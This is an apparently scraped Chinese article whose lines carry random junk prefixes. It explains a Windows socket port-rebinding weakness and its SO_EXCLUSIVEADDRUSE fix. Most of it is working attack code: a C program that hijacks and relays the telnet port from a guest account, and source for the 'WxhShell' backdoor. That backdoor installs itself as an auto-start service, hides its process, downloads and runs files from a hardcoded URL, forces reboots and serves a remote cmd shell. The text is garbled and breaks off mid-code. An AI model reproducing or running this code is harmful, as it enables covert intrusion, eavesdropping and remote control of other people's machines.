在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+oe
~j\= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$F;$-2 }MuXN<DDb saddr.sin_family = AF_INET;
:IbrV@gN{@ '^lrGO6
z7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Lp1wA*
g`3g#h$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
p;X[_h HwM:bY
N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>/
HC{.k )Q~Q. 这意味着什么?意味着可以进行如下的攻击:
GsE?<3 |LiFX5!\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)bPwB.} kq P@
1D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
k:`^KtBMl W >;AMun 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
nolTvqMT .#rI9op 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'HPw5 L ~F
uD6f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(#\3XBG rx|/]NE; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
H*; J9{ *!'00fv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
R*VZ=i 7A3e-51> #include
Kxh)'aal #include
,&z_ 2m #include
gd# #include
F''4 j8 DWORD WINAPI ClientThread(LPVOID lpParam);
z8vFQO\I" int main()
@b-?KH {
'xr\\Cd9s WORD wVersionRequested;
:mL\KQ DWORD ret;
ft:/-$&H WSADATA wsaData;
Ya304Pjd BOOL val;
x/bO;9E%U4 SOCKADDR_IN saddr;
}yS"C fM SOCKADDR_IN scaddr;
bZERh:%o int err;
PN+,M50;1 SOCKET s;
2*%0m^#^6 SOCKET sc;
yd#4b`8U` int caddsize;
tul5:}x3 HANDLE mt;
9bqfZ"6nXY DWORD tid;
jk) V[7P wVersionRequested = MAKEWORD( 2, 2 );
9FH=Jp err = WSAStartup( wVersionRequested, &wsaData );
93[`1_q7\ if ( err != 0 ) {
pd>EUdbrp& printf("error!WSAStartup failed!\n");
BU]9eF!>h return -1;
V@e0VV3yx% }
/rKrnxw saddr.sin_family = AF_INET;
vE6/B"b Vu;tU. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gHYYxhW$ B6OggJ9Iq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v\$XhOK saddr.sin_port = htons(23);
f^m8 4o' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
VUagZ7p {
k<8: printf("error!socket failed!\n");
[rE,fR return -1;
TX*s T }
{3
zq.e{ val = TRUE;
B7N?"'$i //SO_REUSEADDR选项就是可以实现端口重绑定的
-%%2Pz0I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N@;6/[8 {
aMh2[I printf("error!setsockopt failed!\n");
1UxRN7 return -1;
7&|fD{:4U }
?6tuo:gP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
j~Rh_\>Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6i{W=$RQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.CwMxuW 5FH#) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Q9FY.KUM {
|CStw"Fog ret=GetLastError();
d=H C;T) printf("error!bind failed!\n");
B5J=q("P return -1;
Ler9~}\D }
sE-"TNONZ listen(s,2);
jc)D*Cf while(1)
pA1Tod {
mw?,oiT,) caddsize = sizeof(scaddr);
_g$6vx& //接受连接请求
|w:7).P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]U'KYrh if(sc!=INVALID_SOCKET)
vF1]L]z:? {
!mq+Oz~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
J}%&;uv
if(mt==NULL)
wQ4/eQ* {
U2@?!B[\d` printf("Thread Creat Failed!\n");
z`f1|Ok break;
o`h F1*yp }
R &T(S }
Rz*%(2Vz CloseHandle(mt);
MLId3#Q }
OC"W=[Myl closesocket(s);
u=RF6V| WSACleanup();
Bam7^g'*!3 return 0;
`')3} }
+r4^oT[- DWORD WINAPI ClientThread(LPVOID lpParam)
1_XdL?h#o {
$+:_>n^#/ SOCKET ss = (SOCKET)lpParam;
<:>a51HBX SOCKET sc;
k((_~<$2K unsigned char buf[4096];
cKF 8( SOCKADDR_IN saddr;
4}fG{Bk long num;
LUw0MW(Moi DWORD val;
b~%(5r. DWORD ret;
8(5}Jo+ //如果是隐藏端口应用的话,可以在此处加一些判断
uK3,V0 yz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
sq-[<ryk saddr.sin_family = AF_INET;
F7cv`i?2." saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/u>")f saddr.sin_port = htons(23);
80
i<Ij8J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cFD(Ap {
dhsQfWg#} printf("error!socket failed!\n");
}3=]1jH6 return -1;
V\X.AGc }
vYrqZie< val = 100;
I:bi8D6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{ p1#H` {
^e^M
A.kM, ret = GetLastError();
Xxp<qIEm return -1;
l*b3Mg
}
@ 5|F:J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tE=P9 \4 {
6\/C]![% ret = GetLastError();
ZIkXy*<( return -1;
|V%Qp5 XJ }
WPCaxA+l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~.yt {
^hRos printf("error!socket connect failed!\n");
lUUeM\ closesocket(sc);
#R'm|En' closesocket(ss);
N1+%[Uh9) return -1;
1+.(N:) + }
"qR
qEpD% while(1)
qL
UbRp {
*d?,i-Q.+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j01#Wq_\fk //如果是嗅探内容的话,可以再此处进行内容分析和记录
Rco#?' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;~#rdL num = recv(ss,buf,4096,0);
jrZM if(num>0)
IbF[nQ send(sc,buf,num,0);
K"#np!Y) else if(num==0)
.)ZK42Qd break;
!imm17XQ\ num = recv(sc,buf,4096,0);
u])N^AY"sj if(num>0)
50uNgLs send(ss,buf,num,0);
d7N}-nsB else if(num==0)
b P4R break;
G>d@lt }
[#M^:Q closesocket(ss);
(9{)4[3MAG closesocket(sc);
&v'e;W return 0 ;
aOA;"jR1 }
d^!)',` qOqQt=ObU w=e~
M ==========================================================
Iyz} ;7yVI iRBUX`0 下边附上一个代码,,WXhSHELL
al(t-3`< E[)`+:G] ==========================================================
pg [F{T< xQ-]Iw5 #include "stdafx.h"
)$]_;JFr uIiE,.Uu} #include <stdio.h>
+F]X #include <string.h>
/P Qz$e-!Y #include <windows.h>
.FtW$Y~y #include <winsock2.h>
/RIvUC1 #include <winsvc.h>
{%)bxk6 #include <urlmon.h>
fnN"a Z gp$oQh#37; #pragma comment (lib, "Ws2_32.lib")
Gp6|M2Vu_5 #pragma comment (lib, "urlmon.lib")
b(wW;C'#0p C;-9_;& #define MAX_USER 100 // 最大客户端连接数
7D|g|i #define BUF_SOCK 200 // sock buffer
&S>m+m' #define KEY_BUFF 255 // 输入 buffer
nX7{09 >RG
}u #define REBOOT 0 // 重启
4ac2^` #define SHUTDOWN 1 // 关机
{AoH ;*{y!pgb #define DEF_PORT 5000 // 监听端口
c0sU1:e0 `$ql>k-6C #define REG_LEN 16 // 注册表键长度
)}0(7z
Yu #define SVC_LEN 80 // NT服务名长度
cz~Fz;)2{N %V%*0S|U // 从dll定义API
t,gKN^P_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r n"'tvhm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
A36 dj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K@)Hm\* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
EC<g7_0F 3P2H!r // wxhshell配置信息
Gc^w,n[E struct WSCFG {
NuRxk eEO int ws_port; // 监听端口
LBh|4S$K char ws_passstr[REG_LEN]; // 口令
rwWs\~.H int ws_autoins; // 安装标记, 1=yes 0=no
:aS8%m char ws_regname[REG_LEN]; // 注册表键名
F4xYfbwY"] char ws_svcname[REG_LEN]; // 服务名
R^.E";/h char ws_svcdisp[SVC_LEN]; // 服务显示名
k|(uIU* ] char ws_svcdesc[SVC_LEN]; // 服务描述信息
F*_g3K!! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xc7Wk&{= int ws_downexe; // 下载执行标记, 1=yes 0=no
wR@&C\}9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$!h21 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<7NY.zvwk] ae`*0wbv };
:P1 J> dcG ]?whx&+ // default Wxhshell configuration
8=Xy19<;t struct WSCFG wscfg={DEF_PORT,
s.d }*H-o "xuhuanlingzhe",
d~M;@<eD 1,
M0YV Qa "Wxhshell",
4D=p#KZ "Wxhshell",
hK5BOq!y "WxhShell Service",
[xe(FFl+ "Wrsky Windows CmdShell Service",
&ejJf{id "Please Input Your Password: ",
!C]0l 1,
T PEg>[ "
http://www.wrsky.com/wxhshell.exe",
3)b[C&` "Wxhshell.exe"
xdGmiHN };
A\nL(Nd 5v
>0$Y{ // 消息定义模块
q,w8ca4~y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8 h char *msg_ws_prompt="\n\r? for help\n\r#>";
L 1iA
^x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
A Ch!D>C1 char *msg_ws_ext="\n\rExit.";
scZdDbL6+ char *msg_ws_end="\n\rQuit.";
N/IDj2C4 char *msg_ws_boot="\n\rReboot...";
@0H}U$l char *msg_ws_poff="\n\rShutdown...";
1AiqB Rs char *msg_ws_down="\n\rSave to ";
In<L?U?([D sH(@X<{p char *msg_ws_err="\n\rErr!";
kcGs2Y_*& char *msg_ws_ok="\n\rOK!";
)!M %clm. 5i `q char ExeFile[MAX_PATH];
Gw%P5 r}Y int nUser = 0;
>={?H?C HANDLE handles[MAX_USER];
TJjcX?:( int OsIsNt;
:)hS-*P rG)K? B~ SERVICE_STATUS serviceStatus;
/R\]tl#2j SERVICE_STATUS_HANDLE hServiceStatusHandle;
/Z`("X?_Kf AWsy9 // 函数声明
>1u!(-A int Install(void);
tl5}#uJ int Uninstall(void);
*Y'nDv6_P int DownloadFile(char *sURL, SOCKET wsh);
H <7r int Boot(int flag);
ntK#7(U' void HideProc(void);
6%?bl{pNn int GetOsVer(void);
Z&BJ/qk
\- int Wxhshell(SOCKET wsl);
pD;'uEFBQ void TalkWithClient(void *cs);
AT*J '37 int CmdShell(SOCKET sock);
G>"=Af(t?Y int StartFromService(void);
?XOl>IO int StartWxhshell(LPSTR lpCmdLine);
.H;[s Vm\ly;v'R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
hr9rI VOID WINAPI NTServiceHandler( DWORD fdwControl );
2wCTd:e: kYMKVR // 数据结构和表定义
0*7N= SERVICE_TABLE_ENTRY DispatchTable[] =
lAYyxG# {
G- nS0Kn: {wscfg.ws_svcname, NTServiceMain},
%A_h!3f& {NULL, NULL}
3Ov? kWFO };
tgeX~. )*6]m1 // 自我安装
CRXIVver int Install(void)
YB?yi( "yL {
oTS/z\C"<u char svExeFile[MAX_PATH];
zb<YYJ] HKEY key;
B'sgCU strcpy(svExeFile,ExeFile);
R)}ab{A ~\HGV+S!g} // 如果是win9x系统,修改注册表设为自启动
N_<wiwI< if(!OsIsNt) {
L>:YGM"sL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
i
b$2qy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|KH9 81 RegCloseKey(key);
}C6RgE.6< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i|M^QKvF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NmbA~i RegCloseKey(key);
vxN,oa{hf return 0;
qRk<1. }
/4K ^- }
BF >678h }
D=ZH? d else {
uUy~$>V ,dyCuH!B // 如果是NT以上系统,安装为系统服务
$Sg5xkV,a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
E(%_aFx>/ if (schSCManager!=0)
*SP@`)\D {
&:Mk^DH5 SC_HANDLE schService = CreateService
_6O\*|'6 (
`Ckx~'1M: schSCManager,
.lbo\v}2W wscfg.ws_svcname,
y+jOk6)W75 wscfg.ws_svcdisp,
)H
HBf< SERVICE_ALL_ACCESS,
[yFf(>B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Xo,}S\wcn SERVICE_AUTO_START,
ePD~SO9* SERVICE_ERROR_NORMAL,
'+8`3[' svExeFile,
4n}tDHvd NULL,
Wra$ NULL,
:9c[J$R4 NULL,
hW~XE{< NULL,
xMOq/") NULL
yDl{18~zv );
<4{Jm8zJ if (schService!=0)
uC2-T5n' {
VgBZ@*z(x CloseServiceHandle(schService);
4xYW?s( CloseServiceHandle(schSCManager);
;^yR,32F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
lxVA:tz0 strcat(svExeFile,wscfg.ws_svcname);
APR"%(xD# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m@A?'gD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3]z%C' RegCloseKey(key);
; fOkR+ return 0;
NA`qC.K }
=uG}pgh0 }
lPBWpHX CloseServiceHandle(schSCManager);
#.KVT#%~{ }
2*[Gm e }
$27QY 8(jUCD return 1;
\7\7i-Vo }
/RF=8,A m
N&G // 自我卸载
655OL)|cD6 int Uninstall(void)
IH2V.>h {
r9\7I7z HKEY key;
_`Lv@T. gL/D| = if(!OsIsNt) {
_Qh:*j! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iYPlgt/Y! RegDeleteValue(key,wscfg.ws_regname);
vGST{Lz; RegCloseKey(key);
$F#eD0| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#uc9eh}CWO RegDeleteValue(key,wscfg.ws_regname);
iL48 RegCloseKey(key);
/
%9DO return 0;
m ?)k&{I }
@,\J\ rb }
CW+] Jv]" }
Ow3t2G else {
O_S%PX g##yR/L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
QT<\E`v if (schSCManager!=0)
kMJA#{< {
GxynLXWo> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7A=*3 if (schService!=0)
D\@)*" {
U)sw
Iis E if(DeleteService(schService)!=0) {
%@,!
( CloseServiceHandle(schService);
4DTT/ER'qA CloseServiceHandle(schSCManager);
pl4:>4l/ return 0;
z&Kh$ $)[ }
N"zg)MsX CloseServiceHandle(schService);
3ss0/\3P }
+qiI;C_P\ CloseServiceHandle(schSCManager);
FPC^-mD }
*u)#yEJ) }
oQ{
X2\ =cwdl7N&I return 1;
={k_
(8] }
$p)e.ZMgE 0Z&ua // 从指定url下载文件
`D,mZj/b int DownloadFile(char *sURL, SOCKET wsh)
_7bQR7s {
%Mxc"% w HRESULT hr;
G5T( char seps[]= "/";
\jCN ]A< char *token;
JE=3V^k char *file;
,T;T%/
S char myURL[MAX_PATH];
mJYG k_ua char myFILE[MAX_PATH];
$MYAYj9r) $a.,;: strcpy(myURL,sURL);
%s),4 token=strtok(myURL,seps);
z 0-[ RGg while(token!=NULL)
!;U;5 e=0 {
%h9'kJzNk file=token;
t^|GcU] token=strtok(NULL,seps);
Kj/{V }
]q":ta!f vo!QJ GetCurrentDirectory(MAX_PATH,myFILE);
u$Ty|NBjn strcat(myFILE, "\\");
oHR@*2b strcat(myFILE, file);
3:mZ1+ send(wsh,myFILE,strlen(myFILE),0);
/DGEI&}&:u send(wsh,"...",3,0);
jG^f_w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^$x1~}D if(hr==S_OK)
h}n?4B~Gi return 0;
["~T)d' else
3'xmq return 1;
[;LP6n7v K4vOy_wT }
N${Wh|__^l OeYZLC( // 系统电源模块
$X ]t}= int Boot(int flag)
XQI!G_\+C {
&S9O:>=* HANDLE hToken;
Qk?J4 B TOKEN_PRIVILEGES tkp;
n>L24rL z:)z]6 if(OsIsNt) {
=DsFR9IB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
O3En+m~3n) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t+tD tkp.PrivilegeCount = 1;
+&*Ybbhb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
yP*oRV%uX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HvJ-P# if(flag==REBOOT) {
B{2WvPX~q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3\Tqs return 0;
W@p 27Tiq }
X 3(CY`HH[ else {
)=Ens=>Z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^CfWLL&
c return 0;
#'fQx`LV }
L
4Sa,ZL }
@E%fAC else {
-Zfq:Kr if(flag==REBOOT) {
?!;i/h*{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/?B%,$~ return 0;
z"$huE>P6 }
[ n2)6B\/ else {
4Pkl()\c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Z11I1)%s return 0;
:)j& t>aP }
L5n /eg:Q }
(yv)zg9 Jie=/:& return 1;
*f
k3IvAXu }
yo]8QO]97 dz,4);Mg // win9x进程隐藏模块
39oI
&D>8 void HideProc(void)
2bt).gGm {
jVInTR0f[ ofy)}/i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
aSH =|Jnc if ( hKernel != NULL )
K'zBDrkW-x {
o)sX?IiC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;wF)!d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b.mWB`59 FreeLibrary(hKernel);
dhmrh5Uf }
!+Zso& mt]50}eK return;
9RmdQ]1n4 }
K/|qn) i/aj;t // 获取操作系统版本
o!sHK9hvJ) int GetOsVer(void)
F,h}HlU {
J 7]LMw7 OSVERSIONINFO winfo;
e?\34F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
wd<jh,Y GetVersionEx(&winfo);
KD73Aw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,%$Cfu return 1;
fk'DJf[M else
P.'$L\ return 0;
naiy] oY" }
l(uV@_3 )@E'yHYO> // 客户端句柄模块
jFGY`9Zw0 int Wxhshell(SOCKET wsl)
^y2}C$1V {
Dac ,yW SOCKET wsh;
>+F +"NAN struct sockaddr_in client;
8c' 5P DWORD myID;
)(W%Hmi Tk:%YS;= while(nUser<MAX_USER)
~NBlJULS {
ea6`%,lF~ int nSize=sizeof(client);
n+w$'l wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?X3uPj9if if(wsh==INVALID_SOCKET) return 1;
(F'?c1 mJa8;X!r6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*ez7Q if(handles[nUser]==0)
#p/'5lA&j closesocket(wsh);
t[%ELHV else
9}#9i^%} nUser++;
tN-B`d1 }
7-2,|(Xg WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
O+PRP"$g" ?RU_SCp- return 0;
,Laz515 }
2hFOwI B5MEE // 关闭 socket
F?hGt]o void CloseIt(SOCKET wsh)
cBDOA<]r, {
!= u
S closesocket(wsh);
Na{&aqdz nUser--;
K?H(jP2mpM ExitThread(0);
O^<\]_l }
$X]Z-RCK3 R*>EbOuI // 客户端请求句柄
0&2eiMKG?n void TalkWithClient(void *cs)
Q)ZbnR2Z8 {
+YnQOh%v0s J%lEyU SOCKET wsh=(SOCKET)cs;
C:{&cIFrPe char pwd[SVC_LEN];
N7}yU~j^ char cmd[KEY_BUFF];
'jjJ[16"d char chr[1];
?v$1Fc55 int i,j;
[A46WF>L _[8sL^ while (nUser < MAX_USER) {
$[g8j`or! 4 ky/a1y- if(wscfg.ws_passstr) {
Fu"@)xw/-q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;1L7+.A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
a 8.Xy])! //ZeroMemory(pwd,KEY_BUFF);
W;ADc2#) i=0;
%\?Gzc_ while(i<SVC_LEN) {
A\T9>z^k 7,,#f&jP // 设置超时
;%Rp=&J fd_set FdRead;
_T (MMc struct timeval TimeOut;
Z$2Vd`XP FD_ZERO(&FdRead);
Su/}OS\R FD_SET(wsh,&FdRead);
THHA~;00YN TimeOut.tv_sec=8;
n%I9l] TimeOut.tv_usec=0;
avEsX_. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_Rey~]iJJ8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<7yn : sZYTpZgW4L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<PTi>C8;r pwd
=chr[0]; g].v
if(chr[0]==0xd || chr[0]==0xa) { <G#z;]N
pwd=0; nQM7@"R
break; un(fr7NW
} HQtUNtZ
i++; o!}/&
'(
} ]_&pIBp
tqT-9sEXX.
// 如果是非法用户,关闭 socket w"?E=RS
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l527>7 eT
} hv8j$2m
^9xsbv
B0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8`;3`lZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {uji7TB
MD=VR(P?eq
while(1) { b%M|R%)]
[Se0+\,&
ZeroMemory(cmd,KEY_BUFF); ?8aPd"x
jG~UyzWH;
// 自动支持客户端 telnet标准 2mVLR;s{_
j=0; ~ZXAW~a}
while(j<KEY_BUFF) { 7T@"2WYat
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~AG."<}
cmd[j]=chr[0]; kU$M 8J.
if(chr[0]==0xa || chr[0]==0xd) { j aq/]I7
cmd[j]=0; X]AbBzy
break; } P/
x@N
} "Go)t+-
j++; SWM6+i
p
} ]#Q'~X W
Trwk9 +
// 下载文件 MtIhpTX
if(strstr(cmd,"http://")) { 8et.A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); TLiA>`r=
if(DownloadFile(cmd,wsh)) vV+>JM6<K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8GFA}_(^R
else ZeYkZzN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +)7Yqh#$
} ]6 vqgu
else { 1q(o3%
y6!Zt}m
switch(cmd[0]) { O.~@V(7ah
d*TpHLm
// 帮助 SK_i 3?
case '?': { _I}rQfPJ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xtP=/B/
break; =*?2+ ;
} k7ODQ(*v
// 安装 {ei,>5K
case 'i': { w=S7zzL)
if(Install()) /]*#+;;%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W mT(>JBO
else Z,bv D'u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :i_kA'dl&
break; /o=,\kM
} p$A` qx<M_
// 卸载 U?:<clh
case 'r': { IfGQeynj
if(Uninstall()) .+TriPL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "3Z<V8xB
else Q&Ox\*sMK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !rMl" Y[
break; 4$<-3IP,
} >4} 2~;
// 显示 wxhshell 所在路径 WxFrqUz
case 'p': { %aeQL;# V
char svExeFile[MAX_PATH]; k(v8zDq*
strcpy(svExeFile,"\n\r"); * 5Y.9g3)Q
strcat(svExeFile,ExeFile); 3e.v'ccK&
send(wsh,svExeFile,strlen(svExeFile),0); bs_"Nn?
break; 'hM?J*m
} )!``P?3?
// 重启 &]2z)&a
case 'b': { 4SqZV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e!(0y)*
if(Boot(REBOOT)) #815h,nP+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n/3gx4.g
else { t"@:a
Y"
closesocket(wsh); Nl^{w'X0h
ExitThread(0); &G>EBKn\2`
} tT;=l[7%
break; kGZ_/"iuO
} ?"no~(EB
// 关机 =Xc[EUi<;g
case 'd': { g(0
|p6R
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $LF
if(Boot(SHUTDOWN)) {A2SG#}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*,8 H&
else { sgn,]3AUq
closesocket(wsh); {&Fh$H!
ExitThread(0); ( |1 $zF+
} 5M{DJ/q
break; fr0iEO_
} eiF!yk?2
// 获取shell .bYDj&]P{
case 's': { M_2[Wypw
CmdShell(wsh); e,}]K'!t
closesocket(wsh); .FnO
ExitThread(0); $3!j1
break; Aghcjy|j
} ul e]eRAG
// 退出 F%Lniv/N
case 'x': { Ha\q}~_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !j)H!|R
CloseIt(wsh); lq$1CI
break; nr>g0_%m
}
]8q5k5~
// 离开 b-{\manH
case 'q': { L30x2\C
send(wsh,msg_ws_end,strlen(msg_ws_end),0); KsGS s9
closesocket(wsh); Xz=MM0o
WSACleanup(); w49Wl>M
exit(1); 8E /]k\
break; SrN;S kS
} Es kh=xA {
} dy jzF`H
} W&]grG2/
~4wbIE_rN
// 提示信息 ;C%D+"l1g
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }B_n}<tjD
} .e2u)YqA
} ?rQMOJR
_1c'~;
return; u!%]?MSc
} I'o9.B8%#
/c`)Er6d
// shell模块句柄 Y]b5qguK
int CmdShell(SOCKET sock) A>$VkGo
{ i_ 4FxC4
STARTUPINFO si; r6Z&i^cMe
ZeroMemory(&si,sizeof(si)); Xu$xO(
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -pj&|<
h+9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JBa=R^k
PROCESS_INFORMATION ProcessInfo; YizJT0$
char cmdline[]="cmd"; I<.3"F1}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QzIK580%t
return 0; 4T6dju
} ,SJB3if
.b vB8VOrW
// 自身启动模式 qyc:;3?wm
int StartFromService(void) GD|uU
{ >.PLD} zE_
typedef struct Q/iaxY#
{
Nora<
DWORD ExitStatus; /MSz{ %v
DWORD PebBaseAddress; e(BF=gesgp
